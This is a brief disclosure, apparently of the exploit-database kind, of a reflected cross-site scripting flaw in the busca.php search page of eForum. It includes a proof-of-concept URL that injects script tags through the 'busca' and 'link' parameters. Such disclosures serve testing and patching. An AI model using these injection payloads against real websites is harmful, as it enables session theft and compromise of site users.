Input passed to "busca" and "link" parameters in busca.php are not properly
sanitized before being returned to the
user's browser.
This can be exploited to execute arbitrary HTML/script code.

use the input box and search what you want. (js)
http://localhost/eForum/busca.php?link=%3Cscript%3Ealert(1)%3C/script%3E&busca=%3Cscript%3Ealert(2)%3C/script%3E
